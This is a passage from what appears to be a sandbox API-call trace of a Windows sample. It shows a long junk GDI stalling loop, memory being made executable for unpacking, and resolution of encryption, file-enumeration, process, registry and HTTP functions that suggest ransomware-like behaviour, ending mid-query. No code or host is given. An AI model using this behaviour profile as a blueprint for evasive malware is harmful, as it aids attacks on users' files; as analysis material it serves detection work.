rop=0x0) returned 0 [0156.689] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0156.689] GradientFill () returned 0x0 [0156.689] BeginPath (hdc=0x0) returned 0 [0156.689] FillPath (hdc=0x0) returned 0 [0156.689] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0156.689] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0156.689] GradientFill () returned 0x0 [0156.689] BeginPath (hdc=0x0) returned 0 [0156.689] FillPath (hdc=0x0) returned 0 [0156.689] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0156.689] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0156.689] GradientFill () returned 0x0 [0156.689] BeginPath (hdc=0x0) returned 0 [0156.689] FillPath (hdc=0x0) returned 0 [0156.689] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0156.689] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0156.689] GradientFill () returned 0x0 [0156.689] BeginPath (hdc=0x0) returned 0 [0156.689] FillPath (hdc=0x0) returned 0 [0156.689] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0156.689] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0156.689] GradientFill () returned 0x0 [0156.689] BeginPath (hdc=0x0) returned 0 [0156.689] FillPath (hdc=0x0) returned 0 [0156.689] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0156.689] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0156.689] GradientFill () returned 0x0 [0156.689] BeginPath (hdc=0x0) returned 0 [0156.689] FillPath (hdc=0x0) returned 0 [0156.689] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0156.689] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0156.690] GradientFill () returned 0x0 [0156.690] BeginPath (hdc=0x0) returned 0 [0156.690] FillPath (hdc=0x0) returned 0 [0156.690] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0156.690] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0156.690] GradientFill () returned 0x0 [0156.690] BeginPath (hdc=0x0) returned 0 [0156.690] FillPath (hdc=0x0) returned 0 [0156.690] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0156.690] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0156.690] GradientFill () returned 0x0 [0156.690] BeginPath (hdc=0x0) returned 0 [0156.690] FillPath (hdc=0x0) returned 0 [0156.690] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0156.690] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0156.690] GradientFill () returned 0x0 [0156.690] BeginPath (hdc=0x0) returned 0 [0156.690] FillPath (hdc=0x0) returned 0 [0156.690] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0156.690] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0156.690] GradientFill () returned 0x0 [0156.690] BeginPath (hdc=0x0) returned 0 [0156.690] FillPath (hdc=0x0) returned 0 [0156.690] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0156.690] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0156.690] GradientFill () returned 0x0 [0156.690] BeginPath (hdc=0x0) returned 0 [0156.690] FillPath (hdc=0x0) returned 0 [0156.690] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0156.690] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0156.690] GradientFill () returned 0x0 [0156.690] BeginPath (hdc=0x0) returned 0 [0156.690] FillPath (hdc=0x0) returned 0 [0156.690] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0156.690] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0156.690] GradientFill () returned 0x0 [0156.690] BeginPath (hdc=0x0) returned 0 [0156.690] FillPath (hdc=0x0) returned 0 [0156.690] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0156.690] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0156.690] GradientFill () returned 0x0 [0156.690] BeginPath (hdc=0x0) returned 0 [0156.690] FillPath (hdc=0x0) returned 0 [0156.690] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0156.690] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0156.690] GradientFill () returned 0x0 [0156.690] BeginPath (hdc=0x0) returned 0 [0156.690] FillPath (hdc=0x0) returned 0 [0156.690] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0156.690] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0156.690] GradientFill () returned 0x0 [0156.690] BeginPath (hdc=0x0) returned 0 [0156.690] FillPath (hdc=0x0) returned 0 [0156.690] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0156.690] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0156.690] GradientFill () returned 0x0 [0156.690] BeginPath (hdc=0x0) returned 0 [0156.690] FillPath (hdc=0x0) returned 0 [0156.690] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0156.690] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0156.690] GradientFill () returned 0x0 [0156.690] BeginPath (hdc=0x0) returned 0 [0156.690] FillPath (hdc=0x0) returned 0 [0156.690] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0156.690] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0156.690] GradientFill () returned 0x0 [0156.690] BeginPath (hdc=0x0) returned 0 [0156.690] FillPath (hdc=0x0) returned 0 [0156.690] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0156.691] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0156.691] GradientFill () returned 0x0 [0156.691] BeginPath (hdc=0x0) returned 0 [0156.691] FillPath (hdc=0x0) returned 0 [0156.691] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0156.691] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0156.691] GradientFill () returned 0x0 [0156.691] BeginPath (hdc=0x0) returned 0 [0156.691] FillPath (hdc=0x0) returned 0 [0156.691] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0156.691] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0156.691] GradientFill () returned 0x0 [0156.691] BeginPath (hdc=0x0) returned 0 [0156.691] FillPath (hdc=0x0) returned 0 [0156.691] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0156.691] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0156.691] GradientFill () returned 0x0 [0156.691] BeginPath (hdc=0x0) returned 0 [0156.691] FillPath (hdc=0x0) returned 0 [0156.691] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0156.691] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0156.691] GradientFill () returned 0x0 [0156.691] BeginPath (hdc=0x0) returned 0 [0156.691] FillPath (hdc=0x0) returned 0 [0156.691] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0156.691] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0156.691] GradientFill () returned 0x0 [0156.691] BeginPath (hdc=0x0) returned 0 [0156.691] FillPath (hdc=0x0) returned 0 [0156.691] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0156.691] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0156.691] GradientFill () returned 0x0 [0156.691] BeginPath (hdc=0x0) returned 0 [0156.691] FillPath (hdc=0x0) returned 0 [0156.691] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0156.691] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0156.691] GradientFill () returned 0x0 [0156.691] BeginPath (hdc=0x0) returned 0 [0156.691] FillPath (hdc=0x0) returned 0 [0156.691] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0156.691] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0156.691] GradientFill () returned 0x0 [0156.691] BeginPath (hdc=0x0) returned 0 [0156.691] FillPath (hdc=0x0) returned 0 [0156.691] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0156.691] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0156.691] GradientFill () returned 0x0 [0156.691] BeginPath (hdc=0x0) returned 0 [0156.691] FillPath (hdc=0x0) returned 0 [0156.691] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0156.691] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0156.691] GradientFill () returned 0x0 [0156.691] BeginPath (hdc=0x0) returned 0 [0156.691] FillPath (hdc=0x0) returned 0 [0156.691] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0156.691] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0156.691] GradientFill () returned 0x0 [0156.691] BeginPath (hdc=0x0) returned 0 [0156.691] FillPath (hdc=0x0) returned 0 [0156.691] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0156.691] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0156.691] GradientFill () returned 0x0 [0156.691] BeginPath (hdc=0x0) returned 0 [0156.691] FillPath (hdc=0x0) returned 0 [0156.691] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0156.691] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0156.691] GradientFill () returned 0x0 [0156.691] BeginPath (hdc=0x0) returned 0 [0156.691] FillPath (hdc=0x0) returned 0 [0156.692] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0156.692] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0156.692] GradientFill () returned 0x0 [0156.692] BeginPath (hdc=0x0) returned 0 [0156.692] FillPath (hdc=0x0) returned 0 [0156.692] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0156.692] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0156.692] GradientFill () returned 0x0 [0156.692] BeginPath (hdc=0x0) returned 0 [0156.692] FillPath (hdc=0x0) returned 0 [0156.692] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0156.692] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0156.692] GradientFill () returned 0x0 [0156.692] BeginPath (hdc=0x0) returned 0 [0156.692] FillPath (hdc=0x0) returned 0 [0156.692] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0156.692] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0156.724] VirtualProtect (in: lpAddress=0x579b38, dwSize=0x9458, flNewProtect=0x40, lpflOldProtect=0x19fe8c | out: lpflOldProtect=0x19fe8c*=0x4) returned 1 [0156.725] GetProcAddress (hModule=0x74780000, lpProcName="LoadLibraryA") returned 0x7479d8d0 [0156.725] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x74780000 [0156.725] GetProcAddress (hModule=0x74780000, lpProcName="VirtualAlloc") returned 0x74798b70 [0156.725] GetProcAddress (hModule=0x74780000, lpProcName="VirtualProtect") returned 0x74798c50 [0156.725] GetProcAddress (hModule=0x74780000, lpProcName="VirtualFree") returned 0x74798c70 [0156.725] GetProcAddress (hModule=0x74780000, lpProcName="GetVersionExA") returned 0x74799fe0 [0156.725] GetProcAddress (hModule=0x74780000, lpProcName="TerminateProcess") returned 0x7479fbc0 [0156.725] GetVersionExA (in: lpVersionInformation=0x19edb4*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x579b38, dwMinorVersion=0x19ee24, dwBuildNumber=0x0, dwPlatformId=0x9aa05bd8, szCSDVersion="\x98rW") | out: lpVersionInformation=0x19edb4*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x6, dwMinorVersion=0x2, dwBuildNumber=0x23f0, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0156.725] VirtualAlloc (lpAddress=0x0, dwSize=0x11400, flAllocationType=0x1000, flProtect=0x4) returned 0x220000 [0156.726] VirtualProtect (in: lpAddress=0x400000, dwSize=0x16000, flNewProtect=0x40, lpflOldProtect=0x19fe40 | out: lpflOldProtect=0x19fe40*=0x2) returned 1 [0156.767] VirtualFree (lpAddress=0x220000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0156.767] LoadLibraryA (lpLibFileName="KERNEL32.dll") returned 0x74780000 [0156.767] GetProcAddress (hModule=0x74780000, lpProcName="SetFilePointer") returned 0x747a6530 [0156.767] GetProcAddress (hModule=0x74780000, lpProcName="VirtualFree") returned 0x74798c70 [0156.767] GetProcAddress (hModule=0x74780000, lpProcName="GetFileAttributesW") returned 0x747a6340 [0156.767] GetProcAddress (hModule=0x74780000, lpProcName="ReadFile") returned 0x747a64a0 [0156.767] GetProcAddress (hModule=0x74780000, lpProcName="MoveFileW") returned 0x7479a770 [0156.767] GetProcAddress (hModule=0x74780000, lpProcName="lstrcpyW") returned 0x747bd410 [0156.767] GetProcAddress (hModule=0x74780000, lpProcName="SetFileAttributesW") returned 0x747a6510 [0156.767] GetProcAddress (hModule=0x74780000, lpProcName="GetDriveTypeW") returned 0x747a6300 [0156.767] GetProcAddress (hModule=0x74780000, lpProcName="VerSetConditionMask") returned 0x774b53c0 [0156.767] GetProcAddress (hModule=0x74780000, lpProcName="WaitForSingleObject") returned 0x747a6110 [0156.767] GetProcAddress (hModule=0x74780000, lpProcName="GetTickCount") returned 0x747a57f0 [0156.768] GetProcAddress (hModule=0x74780000, lpProcName="OpenProcess") returned 0x747992b0 [0156.768] GetProcAddress (hModule=0x74780000, lpProcName="GetSystemDirectoryW") returned 0x74799a90 [0156.768] GetProcAddress (hModule=0x74780000, lpProcName="TerminateThread") returned 0x7479fcb0 [0156.768] GetProcAddress (hModule=0x74780000, lpProcName="Sleep") returned 0x747977b0 [0156.768] GetProcAddress (hModule=0x74780000, lpProcName="TerminateProcess") returned 0x7479fbc0 [0156.768] GetProcAddress (hModule=0x74780000, lpProcName="VerifyVersionInfoW") returned 0x74797960 [0156.768] GetProcAddress (hModule=0x74780000, lpProcName="WaitForMultipleObjects") returned 0x747a60f0 [0156.768] GetProcAddress (hModule=0x74780000, lpProcName="lstrcmpiW") returned 0x74797540 [0156.768] GetProcAddress (hModule=0x74780000, lpProcName="ExpandEnvironmentStringsW") returned 0x7479c8c0 [0156.768] GetProcAddress (hModule=0x74780000, lpProcName="CreateProcessW") returned 0x7479a510 [0156.768] GetProcAddress (hModule=0x74780000, lpProcName="SetHandleInformation") returned 0x747a5f50 [0156.768] GetProcAddress (hModule=0x74780000, lpProcName="ExitThread") returned 0x774c2570 [0156.768] GetProcAddress (hModule=0x74780000, lpProcName="MultiByteToWideChar") returned 0x74792d60 [0156.768] GetProcAddress (hModule=0x74780000, lpProcName="CreatePipe") returned 0x74790570 [0156.768] GetProcAddress (hModule=0x74780000, lpProcName="Process32FirstW") returned 0x7479ee30 [0156.768] GetProcAddress (hModule=0x74780000, lpProcName="Process32NextW") returned 0x7479c9b0 [0156.768] GetProcAddress (hModule=0x74780000, lpProcName="lstrcmpiA") returned 0x74797610 [0156.768] GetProcAddress (hModule=0x74780000, lpProcName="InitializeCriticalSection") returned 0x774b95f0 [0156.768] GetProcAddress (hModule=0x74780000, lpProcName="FindFirstFileW") returned 0x747a6250 [0156.769] GetProcAddress (hModule=0x74780000, lpProcName="lstrcmpW") returned 0x747978d0 [0156.769] GetProcAddress (hModule=0x74780000, lpProcName="FindClose") returned 0x747a61d0 [0156.769] GetProcAddress (hModule=0x74780000, lpProcName="FindNextFileW") returned 0x747a6290 [0156.769] GetProcAddress (hModule=0x74780000, lpProcName="GetNativeSystemInfo") returned 0x7479a410 [0156.769] GetProcAddress (hModule=0x74780000, lpProcName="GetComputerNameW") returned 0x747a3e90 [0156.769] GetProcAddress (hModule=0x74780000, lpProcName="GetDiskFreeSpaceW") returned 0x747a62e0 [0156.769] GetProcAddress (hModule=0x74780000, lpProcName="GetWindowsDirectoryW") returned 0x747a4cc0 [0156.769] GetProcAddress (hModule=0x74780000, lpProcName="GetVolumeInformationW") returned 0x747a6450 [0156.769] GetProcAddress (hModule=0x74780000, lpProcName="LoadLibraryA") returned 0x7479d8d0 [0156.769] GetProcAddress (hModule=0x74780000, lpProcName="CreateThread") returned 0x74799700 [0156.769] GetProcAddress (hModule=0x74780000, lpProcName="CloseHandle") returned 0x747a5f20 [0156.769] GetProcAddress (hModule=0x74780000, lpProcName="lstrcatW") returned 0x747bd320 [0156.769] GetProcAddress (hModule=0x74780000, lpProcName="CreateFileMappingW") returned 0x747991e0 [0156.769] GetProcAddress (hModule=0x74780000, lpProcName="GetLastError") returned 0x74792db0 [0156.769] GetProcAddress (hModule=0x74780000, lpProcName="GetTempPathW") returned 0x747a6420 [0156.769] GetProcAddress (hModule=0x74780000, lpProcName="CreateFileW") returned 0x747a6180 [0156.769] GetProcAddress (hModule=0x74780000, lpProcName="GetModuleFileNameW") returned 0x74799560 [0156.769] GetProcAddress (hModule=0x74780000, lpProcName="WriteFile") returned 0x747a6590 [0156.769] GetProcAddress (hModule=0x74780000, lpProcName="GetModuleHandleW") returned 0x74799660 [0156.770] GetProcAddress (hModule=0x74780000, lpProcName="UnmapViewOfFile") returned 0x747994b0 [0156.770] GetProcAddress (hModule=0x74780000, lpProcName="MapViewOfFile") returned 0x74798c10 [0156.770] GetProcAddress (hModule=0x74780000, lpProcName="CreateMutexW") returned 0x747a5fe0 [0156.770] GetProcAddress (hModule=0x74780000, lpProcName="GetFileSize") returned 0x747a6360 [0156.770] GetProcAddress (hModule=0x74780000, lpProcName="GetEnvironmentVariableW") returned 0x74799540 [0156.770] GetProcAddress (hModule=0x74780000, lpProcName="lstrcpyA") returned 0x7479e320 [0156.770] GetProcAddress (hModule=0x74780000, lpProcName="GetModuleHandleA") returned 0x74799640 [0156.770] GetProcAddress (hModule=0x74780000, lpProcName="VirtualAlloc") returned 0x74798b70 [0156.770] GetProcAddress (hModule=0x74780000, lpProcName="CreateToolhelp32Snapshot") returned 0x747a7510 [0156.770] GetProcAddress (hModule=0x74780000, lpProcName="lstrlenW") returned 0x74792d80 [0156.770] GetProcAddress (hModule=0x74780000, lpProcName="GetProcAddress") returned 0x74797940 [0156.770] GetProcAddress (hModule=0x74780000, lpProcName="GetProcessHeap") returned 0x74797910 [0156.770] GetProcAddress (hModule=0x74780000, lpProcName="HeapFree") returned 0x747925e0 [0156.770] GetProcAddress (hModule=0x74780000, lpProcName="HeapAlloc") returned 0x7749da90 [0156.770] GetProcAddress (hModule=0x74780000, lpProcName="lstrlenA") returned 0x747a3a30 [0156.770] GetProcAddress (hModule=0x74780000, lpProcName="lstrcatA") returned 0x7479efc0 [0156.770] GetProcAddress (hModule=0x74780000, lpProcName="ExitProcess") returned 0x747a74f0 [0156.770] GetProcAddress (hModule=0x74780000, lpProcName="IsProcessorFeaturePresent") returned 0x74799680 [0156.770] LoadLibraryA (lpLibFileName="USER32.dll") returned 0x77050000 [0156.770] GetProcAddress (hModule=0x77050000, lpProcName="GetMessageW") returned 0x77083230 [0156.771] GetProcAddress (hModule=0x77050000, lpProcName="LoadCursorW") returned 0x77067740 [0156.771] GetProcAddress (hModule=0x77050000, lpProcName="BeginPaint") returned 0x77084ea0 [0156.771] GetProcAddress (hModule=0x77050000, lpProcName="DestroyWindow") returned 0x770856f0 [0156.771] GetProcAddress (hModule=0x77050000, lpProcName="TranslateMessage") returned 0x7706b9d0 [0156.771] GetProcAddress (hModule=0x77050000, lpProcName="RegisterClassExW") returned 0x77068ee0 [0156.771] GetProcAddress (hModule=0x77050000, lpProcName="LoadIconW") returned 0x77067710 [0156.771] GetProcAddress (hModule=0x77050000, lpProcName="SetWindowLongW") returned 0x77061830 [0156.771] GetProcAddress (hModule=0x77050000, lpProcName="EndPaint") returned 0x77084ec0 [0156.771] GetProcAddress (hModule=0x77050000, lpProcName="GetForegroundWindow") returned 0x770850f0 [0156.771] GetProcAddress (hModule=0x77050000, lpProcName="wsprintfW") returned 0x7707ddf0 [0156.771] GetProcAddress (hModule=0x77050000, lpProcName="ShowWindow") returned 0x770852a0 [0156.771] GetProcAddress (hModule=0x77050000, lpProcName="CreateWindowExW") returned 0x770691c0 [0156.771] GetProcAddress (hModule=0x77050000, lpProcName="SendMessageW") returned 0x770638f0 [0156.771] GetProcAddress (hModule=0x77050000, lpProcName="DispatchMessageW") returned 0x77063e40 [0156.771] GetProcAddress (hModule=0x77050000, lpProcName="DefWindowProcW") returned 0x774dcaa0 [0156.771] GetProcAddress (hModule=0x77050000, lpProcName="UpdateWindow") returned 0x77077020 [0156.771] LoadLibraryA (lpLibFileName="GDI32.dll") returned 0x75660000 [0156.771] GetProcAddress (hModule=0x75660000, lpProcName="TextOutW") returned 0x7570a630 [0156.771] LoadLibraryA (lpLibFileName="ADVAPI32.dll") returned 0x74c90000 [0156.772] GetProcAddress (hModule=0x74c90000, lpProcName="CryptExportKey") returned 0x74caf8f0 [0156.772] GetProcAddress (hModule=0x74c90000, lpProcName="AllocateAndInitializeSid") returned 0x74caf0c0 [0156.772] GetProcAddress (hModule=0x74c90000, lpProcName="RegSetValueExW") returned 0x74caf0a0 [0156.772] GetProcAddress (hModule=0x74c90000, lpProcName="RegCreateKeyExW") returned 0x74caf550 [0156.772] GetProcAddress (hModule=0x74c90000, lpProcName="RegCloseKey") returned 0x74caefa0 [0156.772] GetProcAddress (hModule=0x74c90000, lpProcName="CryptAcquireContextW") returned 0x74cb0730 [0156.772] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGetKeyParam") returned 0x74cc5c90 [0156.772] GetProcAddress (hModule=0x74c90000, lpProcName="CryptReleaseContext") returned 0x74cb0ad0 [0156.772] GetProcAddress (hModule=0x74c90000, lpProcName="CryptImportKey") returned 0x74caf890 [0156.772] GetProcAddress (hModule=0x74c90000, lpProcName="CryptEncrypt") returned 0x74cc5bd0 [0156.772] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenKey") returned 0x74cb3fd0 [0156.772] GetProcAddress (hModule=0x74c90000, lpProcName="CryptDestroyKey") returned 0x74cafc10 [0156.772] GetProcAddress (hModule=0x74c90000, lpProcName="GetUserNameW") returned 0x74cb0ee0 [0156.772] GetProcAddress (hModule=0x74c90000, lpProcName="RegQueryValueExW") returned 0x74caed60 [0156.772] GetProcAddress (hModule=0x74c90000, lpProcName="RegOpenKeyExW") returned 0x74caed80 [0156.772] GetProcAddress (hModule=0x74c90000, lpProcName="FreeSid") returned 0x74cb04a0 [0156.772] LoadLibraryA (lpLibFileName="SHELL32.dll") returned 0x75c90000 [0156.783] GetProcAddress (hModule=0x75c90000, lpProcName="SHGetSpecialFolderPathW") returned 0x75e1edb0 [0156.784] GetProcAddress (hModule=0x75c90000, lpProcName="ShellExecuteW") returned 0x75e24370 [0156.784] GetProcAddress (hModule=0x75c90000, lpProcName="ShellExecuteExW") returned 0x75e24cb0 [0156.784] LoadLibraryA (lpLibFileName="CRYPT32.dll") returned 0x74d10000 [0156.786] GetProcAddress (hModule=0x74d10000, lpProcName="CryptStringToBinaryA") returned 0x74d58040 [0156.786] GetProcAddress (hModule=0x74d10000, lpProcName="CryptBinaryToStringA") returned 0x74d32290 [0156.786] LoadLibraryA (lpLibFileName="WININET.dll") returned 0x742c0000 [0156.794] GetProcAddress (hModule=0x742c0000, lpProcName="HttpSendRequestW") returned 0x74334510 [0156.794] GetProcAddress (hModule=0x742c0000, lpProcName="HttpOpenRequestW") returned 0x74389fd0 [0156.794] GetProcAddress (hModule=0x742c0000, lpProcName="InternetCloseHandle") returned 0x74342410 [0156.794] GetProcAddress (hModule=0x742c0000, lpProcName="InternetOpenW") returned 0x74332460 [0156.794] GetProcAddress (hModule=0x742c0000, lpProcName="InternetConnectW") returned 0x7435b650 [0156.794] GetProcAddress (hModule=0x742c0000, lpProcName="InternetReadFile") returned 0x743311e0 [0156.794] LoadLibraryA (lpLibFileName="msvcr100.dll") returned 0x74200000 [0156.798] GetProcAddress (hModule=0x74200000, lpProcName="atexit") returned 0x7421c544 [0156.798] atexit (param_1=0x57a367) returned 0 [0156.798] Sleep (dwMilliseconds=0x3e8) [0157.803] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM\\CurrentControlSet\\services\\Tcpip\\Parameters", ulOptions=0x0, samDesired=0x20019, phkResult=0x19fca4 | out: phkResult=0x19fca4*=0x164) returned 0x0 [0157.803] RegQueryValueExW (in: hKey=0x164, lpValueName="Domain", lpReserved=0x0, lpType=0x0, lpData=0x573520, lpcbData=0x19fcb4*=0x80 | out: lpType=0x0, lpData=0x573520*=0x0, 